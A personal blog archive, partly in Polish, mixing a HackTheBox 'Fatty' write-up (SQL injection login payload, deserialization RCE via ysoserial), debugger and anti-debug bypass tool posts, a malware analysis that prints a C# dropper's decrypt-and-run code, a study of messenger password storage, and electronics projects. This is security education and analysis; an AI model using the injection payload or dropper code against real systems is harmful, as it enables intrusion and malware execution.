HackTheBox - Fatty

 Hello guys. Today we will be doing Fatty from HackTheBox

This box is marked as Insane probably due reversing stuff. If you are into reversing then this box is relatively easy one.  

Port scanning

As we do not have any web server and higher ports are not recognized by nmap so lets download all files from as we have anonymous access.

FTP

Now we have username and password which is great. However we know a purpose of the higher ports from nmap scan.

Reversing client

Before we even connect to the server lets reverse the client in jadx-gui.

As we already know port 8000 is not used so we need to redirect traffic to port 1337 and as they use hostname we have to add it to the /etc/hosts and then run socat

Now it is time to download the newest Java 8 and Eclipse for Java 

Run the client and login with: qtc:clarabibi

From FileBrowser functionality we can read some notes about security issues. It would be good if could read files from others directories. In Eclipse install this plugin Enhanced Class Decompiler. Once we have it installed Create a Java Project -> change JRE to 8 -> Next -> Libraries -> Add External JARs -> choose our client and click Finish. There is one more thing to do it: Window -> Preferences -> General -> Editors -> File Associations -> class without source -> choose Class Decompiler Viewer and click Default.

Now put a breakpoint like this

Now we can debug application by clicking Debug As -> Java Application and then choose Starter class. After logging in head over to FileBrowser choose Configs (but it does not matter what you choose) and switch perspective to Debug.

As we change arg as above and hit Resume button then we get this

The file jar is a binary file so we can't read it by open functionality. In Eclipse we do not have any functionality to dump data in debugger to a file. The only workaround is to put conditional breakpoint which gives you ability to execute any code like in our case saving to a file.

Then right click on breakpoint properties

Now open fatty-server.jar and remember to change path to .. and after a while we should have the server.jar. 

There were some rubbish bytes at the beginning of the file and after removing them. We have server.jar which we can load to jadx-gui.

Reversing server

This is very simple SQL Injection. For this we use simple union select injection like this:

' union select 1337, 'pwned', 'pwned@fatty.htb', 'a2b782c00592afd41d63bde32dc48ab0ddc5dbfe8b99a11a2fb55b6bc0d2111a', 'admin

This will be our login payload. Now put breakpoint in htb.fatty.shared.message.LoginMessage at 32 line and debug client. For login put our payload from above and password leave as empty and click Login. Once we hit a breakpoint change variable this -> user -> password to a2b782c00592afd41d63bde32dc48ab0ddc5dbfe8b99a11a2fb55b6bc0d2111a and click Resume.

Now as we are admin we can change password and above code let us RCE due deserialization.

We use ysoserial to get payload. Remove all breakpoint and put breakpoints in htb.fatty.shared.message.ActionMessage at 19 and 37 lines then list files in FileBrowser and change command from files to changePW and args to our payload

And...

We are in docker... and we can't get a proper shell. After looking around there is one interesting file /opt/fatty/tar/logs.tar so we can make assumption that host downloads this log file.

And we are root! Fun and great box. Hope you guys enjoy it and learnt something new.

SCL 0.2

Hello.

I'd like to announce I made a new version of Simple Call Logger. In the new version I decided to remove a script file and now everything can be done with dll. Application now provides more API functions, can be used in system when ASLR is on and beside logging mode now also has running mode.

Usage
To run program you need to pass program name to be analyzed by SCL.

SCL app.exe

In the next step you can load a dll file to do various tasks but this step is not necessary. Lets look on API functions:

API DWORD getRegisterValue(DWORD reg);
API void setRegisterValue(DWORD reg, DWORD value);
API DWORD getFlagValue(DWORD flag);
API void setFlagValue(DWORD flag, DWORD value);
API BOOL getMemoryValueVA(DWORD address, DWORD *out, DWORD *error);
API BOOL setMemoryValueVA(DWORD address, DWORD value, DWORD *error);
API BOOL getMemoryValueRVA(DWORD address, DWORD *out, DWORD *error);
API BOOL setMemoryValueRVA(DWORD address, DWORD value, DWORD *error);
API BOOL getBufferVA(DWORD address, BYTE *buffer, DWORD size, DWORD *error);
API BOOL setBufferVA(DWORD address, BYTE *buffer, DWORD size, DWORD *error);
API BOOL getBufferRVA(DWORD address, BYTE *buffer, DWORD size, DWORD *error);
API BOOL setBufferRVA(DWORD address, BYTE *buffer, DWORD size, DWORD *error);
API BOOL allocateBuffer(BYTE *buffer, DWORD size, DWORD *address, DWORD *error);
API BOOL freeBuffer(DWORD address, DWORD *error);
API BOOL getArgument(DWORD numberOfArgument, DWORD *out, DWORD *error);
API BOOL setArgument(DWORD numberOfArgument, DWORD value, DWORD *error);
API void saveToLogFile(const char * format, ...);
API DWORD getFunctionAddress(char *name);
API void setCallbackOnNewDllEvent(void (*callback)(const char *name));
API void setCallbackAtEipVA(void (*callback)(), DWORD address);
API void setCallbackAfterCallVA(void (*callback)(), DWORD address);
API void setCallbackAtEipRVA(void (*callback)(), DWORD address);
API void setCallbackAfterCallRVA(void (*callback)(), DWORD address);

Now I'll show you how you can use these functions. In normal case you will probably have an application without source file so you should look on application behavior. For example a log file may contain something like this:

Name: C:\app.exe processID: 0x99E0 threadID: 0x99E4
Call to: 0x7C813123 (C:\WINDOWS\system32\kernel32.dll:IsDebuggerPresent) EIP: 0x00401024
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Name: C:\app.exe processID: 0x99E0 threadID: 0x99E4
Call from 0x00401024 to 0x7C813123 (C:\WINDOWS\system32\kernel32.dll:IsDebuggerPresent) EIP: 0x0040102A
Stack values: 0x78B53714 0x0012FFC0 0x0040122C 0x00000001 0x00382A48 0x00383208 0x68FBC5A4 0x00000000 0x00007603 0x7FFDB000 
Registers before call:
EAX: 0x00383208 EBX: 0x00000000 ECX: 0x78B53714 EDX: 0x00000000 EBP: 0x0012FF7C ESP: 0x0012FF78 ESI: 0x00000001 EDI: 0x00403378 EFLAGS: 0x00000246 FLAGS: CF: 0 PF: 1 AF: 0 ZF: 1 SF: 0 DF: 0 OF: 0
Registers after call:
EAX: 0x00000001 EBX: 0x00000000 ECX: 0x78B53714 EDX: 0x00000000 EBP: 0x0012FF7C ESP: 0x0012FF78 ESI: 0x00000001 EDI: 0x00403378 EFLAGS: 0x00000246 FLAGS: CF: 0 PF: 1 AF: 0 ZF: 1 SF: 0 DF: 0 OF: 0
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Name: C:\app.exe processID: 0x99E0 threadID: 0x99E4
Conditional jump (je) to: 0x00401038 is NOT taken EIP: 0x0040102C EFLAGS: 0x00000202 FLAGS: CF: 0 PF: 0 AF: 0 ZF: 0 SF: 0 DF: 0 OF: 0
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Name: C:\app.exe processID: 0x99E0 threadID: 0x99E4
Jump to: 0x004010BB EIP: 0x00401033
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Name: C:\app.exe processID: 0x99E0 threadID: 0x99E4
Call from 0x00401227 to 0x00401020 EIP: 0x0040122C
Stack values: 0x00000001 0x00382A48 0x00383208 0x68FBC5A4 0x00000000 0x00007603 0x7FFDB000 0x00007603 0x00000000 0x0012FF90 
Registers before call:
EAX: 0x00383208 EBX: 0x00000000 ECX: 0x78B53714 EDX: 0x00000000 EBP: 0x0012FFC0 ESP: 0x0012FF84 ESI: 0x00000001 EDI: 0x00403378 EFLAGS: 0x00000246 FLAGS: CF: 0 PF: 1 AF: 0 ZF: 1 SF: 0 DF: 0 OF: 0
Registers after call:
EAX: 0x00000001 EBX: 0x00000000 ECX: 0x78B53714 EDX: 0x00000000 EBP: 0x0012FFC0 ESP: 0x0012FF84 ESI: 0x00000001 EDI: 0x00403378 EFLAGS: 0x00000202 FLAGS: CF: 0 PF: 0 AF: 0 ZF: 0 SF: 0 DF: 0 OF: 0
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Name: C:\app.exe processID: 0x99E0 threadID: 0x99E4
Conditional jump (jne) to: 0x00401273 is NOT taken EIP: 0x0040123A EFLAGS: 0x00000246 FLAGS: CF: 0 PF: 1 AF: 0 ZF: 1 SF: 0 DF: 0 OF: 0
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Name: C:\app.exe processID: 0x99E0 threadID: 0x99E4
Call to: 0x78AC8040 (C:\WINDOWS\system32\msvcr100.dll:exit) EIP: 0x0040123D

And we know that at address 0x0040102C we should jump so the best solution to do this is use setCallbackAfterCallVA function and in our callback function use setRegisterValue function to set register EAX to 0. Ok now lets make a dll file. The most interesting fragment may look:

void myIsDebuggerPresent()
{
 setRegisterValue(REGISTER_EAX, 0);
}

void newDll(const char *name)
{
 DWORD addr = getFunctionAddress("IsDebuggerPresent");
 if(addr)
 {
  setCallbackAfterCallVA(myIsDebuggerPresent, addr);
 }
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved )
{
 if(fdwReason == DLL_PROCESS_ATTACH)
 {
  setCallbackOnNewDllEvent(newDll);
 }
    return TRUE; 
}

DllMain register callback on dll event. When dll is loaded to an application, SCL will call our callback and also pass full path of dll like: C:\WINDOWS\system32\kernel32.dll and what we need to do is get function address of IsDebuggerPresent and then set on this address callback to our myIsDebuggerPresent function.

When you load an application into SCL the default state is logging but if you want to interact with an application press Escape key to change to running mode if you wanna go back to logging mode press again Escape key and that's all.

Download: link 32 bit version (included example application and dll)

Till next time.

Simple Call Logger

Hello everyone.

I've just made a new version of my call logger. I added new features:
-logging all tls callbacks
-logging all dll main
-new script system

I added logging all tls callbacks and dll main because program works as a single stepping debugger and now debugger checks in tls callbacks and dll main can be bypassed.

Scripting
Now script file looks:

#this is one line comment
file=hook.dll # dll which will be loaded
eip=0x12345678;functionName;
beforedll=VirtualQuery;functionName;
afterdll=VirtualQuery;functionName;
beforecall=0x12345678;functionName;
aftercall=0x12345678;functionName;

When call logger reach a given EIP, before call to a given function or after call to a given function then call logger will call to a function functionName. Now call logger provides thirteen functions which can be used to do some action like: get or set register value, get or set memory value and so on. Example script file and dll will be provided with application.

You can download here 32 bit version

Till next time.

STM32F4

Hi.

Today I'd like to show you two videos.

The first one shows video player from SD card:

The second video shows generating VGA signal:

Enjoy watching.

Simple call logger

Hello.

I'm working on a new application which can be used to log application behavior. By saying behavior I mean logging events for example: creating a new thread, loading a dll, calling API functions or application functions and jumping. That's not all features. Call logger enables to do specific action for example: starting logging application from a given address, changing register value, changing memory value, saving parameter or buffer, changing parameter or buffer. These actions can be used only at given EIP, before/after call to a function, before/after call to a dll function. A script file may look:

start=0x004016fe;
afterdll=IsDebuggerPresent;register=eax,0x00000000;

After call to IsDebuggerPresent register eax is set to 0. This command is useful because logger works as debugger and application won't know that is being debugged. And example log file may look:

Start from: 0x004016FE
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
LoadDLL: ntdll.dll
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
LoadDLL: KERNEL32.dll
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
LoadDLL: msvcrt.dll
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Name: test.exe processID: 7BE8 threadID: 7BEC
Jump to: 0x7C813123 (KERNEL32.dll:IsDebuggerPresent) EIP: 0x00403808
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Name: test.exe processID: 7BE8 threadID: 7BEC
Jump from 0x00403808 to 0x7C813123 (KERNEL32.dll:IsDebuggerPresent) EIP: 0x00401750
Stack params: 0x00000000 0x00000000 0x004016BD 0x00000000 0x00000000 0x00000000 0x0022FFA0 0x00401CFE 0x00401CA0 0x0022FF30 
Registers before call:
EAX: 0x0000002C EBX: 0x00000000 ECX: 0x7C810693 EDX: 0xFFFFFFFF EBP: 0x0022FF18 ESP: 0x0022FEEC ESI: 0x00241EE9 EDI: 0x0022FF33 EFLAGS: 0x00000206
Registers after call:
EAX: 0x00000000 EBX: 0x00000000 ECX: 0x7C810693 EDX: 0xFFFFFFFF EBP: 0x0022FF18 ESP: 0x0022FEF0 ESI: 0x00241EE9 EDI: 0x0022FF33 EFLAGS: 0x00000206 CF: 0 PF: 1 AF: 0 ZF: 0 SF: 0 DF: 0 OF: 0
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Name: test.exe processID: 7BE8 threadID: 7BEC
CONDITIONAL JMP (JZ) is TAKEN to: 0x0040175E EIP: 0x00401752 CF: 0 PF: 1 AF: 0 ZF: 1 SF: 0 DF: 0 OF: 0
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Name: test.exe processID: 7BE8 threadID: 7BEC
Call to: 0x00403738 EIP: 0x00401762
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

It's not all file but it shows how it works. So till next time.

My simple protector

Hi.
I'd like to show you my simple protector for C applications. For now it's only for C applications, because my protector parses C code to get code with encoded strings and hidden API calls. Then code is compiled and the last step is to pack all functions from source file. Every function is packed in another way. Function is decoded before every calling, because it's not decoded in code segment. Packed function is copied to a new region in memory and there is decoded, then code executes and after execution, decoded function is removed from memory. That's all features for now. I made a simple application you can download a zip file included source file and two exe files, first was compiled by mingw, second was protected by my simple protector: Download

Basic analysis

Hi.

Today we're going to do a basic analysis on a some virus. In the last note I mentioned you have two ways to analyze viruses, malwares etc:

• basic analysis
• dynamic analysis

Dynamic analysis is very simple, because you only run suspect file and watch its behavior using variety programs like: Wireshark, RegShot, etc. Today I won't be explaining how to use dynamic analysis though. Ok so let's start. The suspect file is called IMG_PhotoView_SAM68403(1).scr and this file we load to Exeinfo PE, however you can use PEiD, but I'm using Exeinfo PE and we see this file is written in C# so we can load into .NET Reflector and we can see code:

internal class Program
{
    // Fields
    private string f;

    // Methods
    private static void Main(string[] args)
    {
        try
        {
            string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
            string str2 = File.ReadAllText(Process.GetCurrentProcess().MainModule.FileName);
            string[] separator = new string[] { "[024578974asf6843sr6g87g67]" };
            string[] strArray2 = str2.Split(separator, StringSplitOptions.None);
            byte[] bytes = UnSecure(Convert.FromBase64String(strArray2[1]));
            File.WriteAllBytes(folderPath + @"\" + strArray2[2], bytes);
            Process.Start(folderPath + @"\" + strArray2[2]);
        }
        catch
        {
        }
    }

    private static byte[] UnSecure(byte[] data)
    {
        RijndaelManaged managed = new RijndaelManaged();
        byte[] buffer = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7 };
        byte[] buffer2 = new byte[] { 7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1 };
        managed.IV = buffer;
        managed.Key = buffer2;
        return managed.CreateDecryptor().TransformFinalBlock(data, 0, data.Length);
    }
}

Since we already have a code we're also able to copy it, but remember we need to remove a function Process.Start and change path to our suspect file then we can execute our program and we get in my case file is called: lkjyhgtrt.exe which is written in Delphi. So let's load into IDA, but before beginning analysis I recommend to use signatures in IDA. It'll make the analysis simpler and easier. The main goal is to find some functions like: connect to server/ftp/irc, download file, create a new thread etc. Interesting function for us is at address: 0x00493DAC. The function checks a command returned from an attacker server and then executes it. There are a lot of implemented commands for example:

And example function:

And one more thing could be interesting this suspect file contains in its resources a meme, you can use Resource Hacker and see it, but the virus loads this meme and shows it but I don't encourage to run virus only for see this meme :>

Ok that's all. If you have any questions you're welcome to post it in comments.

Link to unpacked file: link

Skuteczność antywirusów i analiza wirusa

Witam.

Dziś skupimy się na analizie "zdjęcia", które wczoraj pojawiło się na serwisie zapytaj.onet.pl. Tutaj link do tego "zdjęcia" jeśli ktoś jest zainteresowany analizą tego pliku: "zdjęcie".

Ważne! nie uruchamiać pliku exe z tego archiwum!

Oczywiście należy nadmienić, że nazwa pliku to: zdjecie001.JPG.rar no to sprawdźmy ile antywirusów wykrywa to jako zagrożenie: Link do wczorajszej analizy tylko 5 słabo trochę. No to idziemy dalej przy pomocy 7zipa otwieramy archiwum i widzimy tam tylko jeden plik: zdjecie001.JPG_zapytaj.onet.pl_.exe i wysyłamy znów na virustotal: Link do wczorajszej analizy jak widzimy sam exe jest mniej wykrywalny niż samo archiwum tylko 4 antywirusy wykryły ten plik jako zagrożenie. No do przejdźmy do analizy samego exe. Oczywiście przy analizie wirusów i innych zagrożeniach są możliwe dwa wyjścia:

• statyczna analiza

• dynamiczna analiza

Statyczna analiza polega na tym, że ładujemy plik do disassemblera np.: IDA i analizujemy plik. Tutaj trzeba się znać oczywiście na inżynierii wstecznej czyli w skrócie RE.
Dynamiczna analiza polega na tym, że nie musimy mieć pojęcia o RE, wystarczy uruchomić dany wirus i obserwować jego zachowanie. Jest wiele programów, które ułatwiają taką analizę, pokazują, jakie tworzy pliki, klucze w rejestrze itp. My dziś skupimy się jednak na statycznej analizie. Na początek sprawdźmy w czym został napisany ten wirus, więc ja posłużę się programem Exeinfo PE i widzimy:

Jak widzimy po screenie, analiza pójdzie bardzo łatwo, ponieważ aplikacja nie jest spakowana i wystarczy chociażby użyć .NET Reflector żeby zobaczyć kod źródłowy aplikacji. Tak więc ładujemy plik i przystępujemy do analizy. No i na pierwszy rzut oka widzimy klasę IRC jak można już się domyśleć wirus komunikuje się przez protokół IRC. W tej klasie mamy funkcję RunCommand w której możemy zobaczyć co atakujący może zrobić. Jakby ktoś chciał się połączyć z tym kanałem IRC to w klasie Configuration mamy wszystkie dane do połączenia. Interesująca jest również klasa Functions zawierająca różne funkcje jak np.: dodanie reguły do firewalla czy też ukrycie z listy procesów. W klasie RegistryTools widzimy, że aplikacje dodaje siebie do autostartu. Mamy również klasę SpreadByDrives która infekuje pamięci USB. No i na koniec jeszcze klasa Install i metoda Uninstall czyli jak usunąć wirusa. Oczywiście to nie cała analiza, ale jeśli ktoś ma trochę pojęcia o programowaniu i zna angielski to można taką prostą analizę przeprowadzić samemu.

Na koniec jeszcze sprawdźmy co się zmieniło od wczoraj w świecie antywirusów skan z dziś pliku rar: Dzisiejsza analiza oraz pliku exe: Dzisiejsza analiza. No jak widzimy sytuacja już dużo lepiej wygląda niż wczoraj.

Tego typu wirusy często są spotykane w mailach czy na serwisach społecznościowych, więc następnym razem sprawdzajmy czy zdjęcie jest faktycznie zdjęciem, a nie archiwum czy aplikacją. Pomocne tutaj będzie włączenie pokazywania rozszerzeń pliku: Just do it.

No i na koniec najważniejsze: najlepszym zabezpieczeniem komputera nie jest żaden pakiet ochraniający tylko my sami. Bo jak widzieliśmy po analizach nie zawsze antywirusy wykrywają od razu dane zagrożenie.

Jeśli ktoś ma obawy co do danego pliku zawsze przed uruchomieniem można użyć virustotal, przydatnymi serwisami mogą być także: Anubis, XecScan, Malwr, lub też podesłać mi ten pliczek :)

No i na koniec wszystkiego najlepszego dla naszych kotów w końcu dziś jest ich święto :)

Czy nasze hasła są bezpieczne? Czyli komunikatory od środka

Witam.

W dzisiejszym wpisie chcę poruszyć temat bezpieczeństwa, a w szczególności naszych haseł. Dzisiejszy post nie będzie dotyczył szyfrowania rozmów, natomiast skupimy się w całości na tym jak są nasze hasła przechowywane przez komunikatory. Główną uwagę chciałbym skupić na polskich komunikatorach takich jak: AQQ, Gadu-Gadu, WTW, ale będzie też trochę o zagranicznych komunikatorach takich jak: Pidgin, Skype. Na potrzeby testu stworzyłem testowe konta do GG, Skype i XMPP. Oczywiście taki test może wykonać każdy wystarczy użyć programu Cheat Engine(nie będę tutaj się skupiał na omawianiu tego programu). Jak również założyłem, że w AQQ, WTW i Pidginie użytkownik korzysta z dwóch protokołów GG i XMPP. Czemu takie założenia? O tym w dalszej części wpisu. Najpierw zobaczymy jak komunikatory przechowują nasze hasła na dysku.

Przechowywanie haseł
Zacznijmy po kolei na pierwszy ogień weźmiemy AQQ. Jak możemy zauważyć w folderze, gdzie AQQ trzyma wszystkie ustawienia, dane dotyczące naszego konta są zaszyfrowane, a w przypadku konta GG tylko hasło. Nie istotne to co to za szyfrowanie zostało użyte, ważne natomiast jest to, że po poznaniu algorytmu szyfrowania możemy odzyskać wszystkie dane. Teraz przechodzimy do kolejnego komunikatora czyli Gadu-Gadu. W tym przypadku nie wiele się różni od AQQ, tylko nasze hasło jest szyfrowane, jak się później okaże również da się to hasło odzyskać. Teraz open-sourcowy klient czyli Pidgin, niestety wszystko jest trzymane w postaci jawnej. To że dany program ma udostępniony kod źródłowy nie powinno go automatycznie zwalniać z jakiegokolwiek bezpieczeństwa, w końcu chodzi przede wszystkim o nasze hasła. Jak sprawa wygląda jeśli chodzi o Skype? Tutaj jest wszystko wyjaśnione. Jak widać w przypadku Skype możemy czuć się dużo bezpieczniej niż w przypadku wcześniej komunikatorów. No to teraz został nam jeszcze WTW. Tutaj również mamy zakodowane pliki dotyczące naszych danych, które również da się rozkodować.

Blokada profilu hasłem
Możliwość taką oferują tylko AQQ i WTW. Tak więc zacznijmy znowu od AQQ. Teraz możemy użyć programu Cheat Engine, który nam pomoże w przeglądaniu pamięci programu. Tak więc uruchamiamy AQQ widzimy ekran logowania, włączamy Cheat Engine, wyszukujemy teraz nasze hasło do profilu i oto efekt:

Tak więc jak widzimy na obrazku na nic nie pomogło szyfrowanie, skoro hasło jest rozszyfrowane w pamięci. W przypadku WTW sprawa wygląda dużo lepiej, nie znajdziemy w pamięci ustawionego hasła do naszego profilu.

Przeglądanie pamięci czyli szukanie kolejnych haseł :)
Trzymając się kolejności alfabetycznej zaczniemy od AQQ. Oczywiście jak w poprzednim punkcie widzieliśmy hasło rozszyfrowane, tak i teraz nie mogło być przecież inaczej. Sprawdzamy więc i o to efekty:

Zarówno jak hasło do Gadu-Gadu jak i XMPP są rozszyfrowane w pamięci. Teraz sprawdźmy jak wygląda sytuacja z komunikatorem Gadu-Gadu. Sytuacja jest dokładnie taka sama jak w AQQ:

Jeśli chodzi o Pidgin to nie ma co tutaj dużo mówić, wszystko zostało powiedziane. Jeśli ktoś chce oczywiście można sprawdzić samemu tylko trza pamiętać o odznaczeniu opcji "Unicode". W przypadku Skype sprawa wygląda dużo lepiej nie znajdziemy naszego hasła w postaci jawnej, możemy za to znaleźć zahashowane nasze hasło:

No i na koniec zostaje nam WTW. Oczywiście nie może tutaj być wielkiej niespodzianki i tak też się stało wszystko da się odczytać z pamięci:

Aplikacja
Nic nie stoi na przeszkodzie, żeby napisać prostą aplikację do odczytu haseł z pamięci zgodnie z tymi założeniami co podałem na początku, oczywiście taką aplikację można by było rozbudować dla każdego przypadku. Przykład działania aplikacji:

Czy mogę się czuć bezpiecznie jeśli hasła są rozszyfrowane w pamięci?
Niestety nie. Wystarczy, że wirus czy malware zrobi zrzut pamięci procesu, albo po prostu odczyta z odpowiedniego adresu nasze hasło.

Używam innego systemu niż Windows lub innego komunikatora czy jestem bezpieczny?
Użycie innego systemu nie ma wpływu jeśli komunikator trzyma hasła w pamięci rozszyfrowane. Jeśli chodzi o inny komunikator to wszystko zależy od tego jak przechowuje hasła w pamięci.

Jak tworzyć w miarę bezpieczną aplikację?
Hasła przechowywać używając SHA-1 lub lepszych algorytmów, MD5 najlepiej zostawić w spokoju. Jeśli dla kogoś to nie jest wystarczające można zrobić hasło na profil i te hasło wykorzystać jako klucz szyfrujący plik z danymi. No i najważniejsze nie trzymać jakichkolwiek haseł w postaci jawnej czy to w pliku, czy w bazie danych, czy w pamięci. Przy porównaniu haseł najlepiej stosować takie podejście zakładając, że mamy hasło zahashowane i sprawdzamy z tym co wprowadził użytkownik:

String zahashowaneHaslo = "hash";

String haslo = getStringFromUser(); /* funkcja pobierająca hasło od użytkownika  */

haslo = hash(haslo); // hashujemy hasło

Potem porównujemy ze sobą hasła i jeżeli nie są już nam potrzebne te hashe to wykonać taki kod:

for(int i =0; i < s.length(); i++) {

s[i] = 0;

}

s.clear(); /* żeby wyzerować pole przechowującą długość stringa */

Jeśli hasło musimy wysłać do serwera to najlepiej oczywiście w zaszyfrowanej formie, nawet jeśli łączymy się przy użyciu SSL to również wysyłajmy hasło zaszyfrowane, gdyż nawet jeśli atakujący użyłby ataku Man In The Middle nie otrzyma wtedy hasła w postaci jawnej. Oczywiście to tylko przykładowe propozycje, ale poprawiające bezpieczeństwo aplikacji i naszych haseł.

Podsumowanie
To tyle jeśli chodzi o ten krótki wpis na temat bezpieczeństwa komunikatorów. Jeśli ktoś jest tym zainteresowany jak inne programy podchodzą do bezpieczeństwa, przy użyciu Cheat Engine można sprawdzić czy hasła są trzymane w postaci jawnej w pamięci danego programu. No i nie zapominajmy o najważniejszym do każdego serwisu/konta używajmy innych haseł. 

Light following robot

Hi.

Long ago during holidays I've made a light following robot. Very often people build these robots without using any microcontrollers or specified integrated circuits. And that's why I went for a little twist and I actually decided to build one with atmega88. It allowed me to not only ensure the basic functionality of the robot, but also I was able to add a new one - barrier detection. Which is pretty useful, when for example robot's path is obscured by some kind of object (thanks to the IR sensors robot will detect the obstacle and stop). Anyways the construction is so simple because I used undercarriage from my car. You can watch how robot works below:

Oscilloscope with new feature

Hello.

It'll be a short note. I've recently had some free time and so I was able to add a new feature to my oscilloscope. And it is quite useful one - synchronization with measured signal. You can choose the activation method as well (falling / rising edge). I've also tweaked the display management a bit. It now utilizes frame-buffering, which improves FPS significantly. Here is a video with the new version of the oscilloscope:

LPC2138 ARM Oscilloscope and generator

Hello.

I'd like to show you my new project. I've never had a generator and an oscilloscope so I decided to make these. I started making oscilloscope on Atmega32, but later I bought LPC2138 and it has DAC so I decided to change uC to LPC.

Generator
Few words about generator. Generator can generate sine wave, square wave and triangle wave. You can adjust duty cycle in range 1-99%. Amplitude of generating signal is 3.3V. I used an internal DAC to make this generator.

Oscilloscope
I used an internal ADC to make oscilloscope. It has these features:

• time/div: 50us/div-500ms/div
• voltage/div: 1V/div-50V/div
• detection signal DC/AC
• calculate frequency and duty cycle
• calculate voltage 

All values: frequency, duty cycle and voltage calculate only on based values from ADC that means frequency and duty cycle could not be accurate. Firstly oscilloscope detect signal if it is AC then calculate frequency, duty cycle and maximum of voltage. If detected signal is DC then only calculate average of voltage. Input of oscilloscope is very simple I only used a voltage divider and a range of input signal is ±30V.

LCD
I used LCD with a driver KS0108.

How to use these
I used 5 keys to choose option and input data for generator you can enter value through for example terminal Putty.

Code
I wrote it in C.

Video
On video I show you 3 different waves and measurement voltage of transformer. You can also watch earlier version of oscilloscope on Atmega at my YouTube channel.

Summary
This is simple oscilloscope with generator but what it's important it works. At main screen you can see a clock with thermometer as RTC: PCF8583, thermometer: DS18B20 and EEPROM: ATMEL24C256 to storage a configuration.

You are welcome to post your opinions of my project.

Generator i oscyloskop na LPC2138

Witam.

Chciałbym przedstawić mój nowy projekt generator i oscyloskop. Z racji tego, że nie posiadam ani oscyloskopu ani generatora, postawiłem zrobić te dwa urządzenia, początkowo miałem to zrobić na Atmedze 32, ale z racji, że ostatnio zacząłem przygodę z ARM, a w wykorzystanym ARM jest przetwornik cyfrowo analogowy, dzięki któremu mogłem w prosty sposób zrobić generator, wybór właśnie padł na ARM. Konstrukcja przede wszystkim opiera się na zestawie uruchomieniowym ZL9ARM z wykorzystaniem mikrokontrolera LPC2138.

Generator

Teraz kilka słów na temat generatora. Generator potrafi generować przebiegi sinusoidalne, prostokątne i trójkątne, z możliwością regulacji współczynnika wypełnienia w zakresie 1-99%. Zakres generowanych częstotliwości wynosi od 1 Hz do 100 kHz. Na wyjściu generatora mamy przebieg o amplitudzie 3.3V. Do zrobienia generatora użyłem oczywiście wewnętrznego przetwornika cyfrowo analogowego.

Oscyloskop

Oscyloskop powstał przy użyciu wewnętrznego przetwornika analogowo cyfrowego, posiada takie właściwości jak:

-podstawę czasu od 50us/dz do 500ms/dz

-podziałka napięcia od 1V/dz do 50V/dz

-detekcja sygnału DC/AC

-obliczanie częstotliwości i współczynnika wypełnienia

-wyświetlanie napięcia

Wszystkie obliczenia dotyczące sygnału wejściowego są tylko na podstawie wartości z przetwornika ADC, dlatego pomiar częstotliwości jak i współczynnika nie zawsze jest dokładny. Oscyloskop na podstawie wyników z przetwornika ADC robi detekcję sygnału i w przypadku sygnału AC obliczana jest częstotliwość i współczynnik wypełnienia, oraz wyliczana maksymalna wartość napięcia. Natomiast w przypadku przebiegu DC wyliczana średnia wartość napięcia. Tor wejściowy oscyloskopu to zwykły dzielnik napięcia, od którego zależy przede wszystkim zakres napięć wejściowych, należy również pamiętać, że im większy zakres tym gorsza dokładność pomiaru napięcia. Przy obecnych wartościach rezystorów zakres napięć wejściowych wynosi do około ±30V.

Wyświetlacz

Do wyświetlania użyłem wyświetlacza LCD ze sterownikiem KS0108.

Sterowanie

Sterowanie zarówno oscyloskopu jak i generatora odbywa się przy użyciu 5 klawiszy, które są w zestawie uruchomieniowym, natomiast wprowadzanie danych dla generatora odbywa się przez RS232 z wykorzystaniem terminala.

Oprogramowanie

Całość została napisana w języku C.

Film

Na filmie pokazane są 3 różne przebiegi, jak i pomiar napięcia z transformatora. Na moim kanale youtube można zobaczyć wcześniejsze próby na Atmedze 32. Na filmie można zauważyć, że oprócz generatora i oscyloskopu są jeszcze inne funkcje jak wyświetlanie czasu, daty, temperatury, ale to taki dodatek do całości, który nie odnosi się do głównej funkcjonalności.

Podsumowanie

Reasumując do projektu użyłem zestawu uruchomieniowego, wyświetlacz LCD ze sterownikiem KS0108, paru rezystorów służących jako dzielnik napięcia do toru wejściowego oscyloskopu. Do pozostałej funkcjonalności którą można zobaczyć na głównym ekranie użyłem jako RTC: PCF8583, termometr DS18B20 i pamięć EEPROM ATMEL24C256 służącą do przechowania konfiguracji.

Oczywiście jest to dość prosta konstrukcja, ale do moich prostych zastosowań jest wystarczająca :)

Uwagi, propozycje i opinie są mile widziane.

Hello / Cześć

Hello everyone.

What will I write? Blog will be about programming, security, electronics.
Enjoy reading and I encourage to comment my posts.


Witam.

Tematyka bloga będzie o programowaniu, trochę o bezpieczeństwie i elektronice.
Miłego czytania kolejnych wpisów i zapraszam do komentowania wpisów.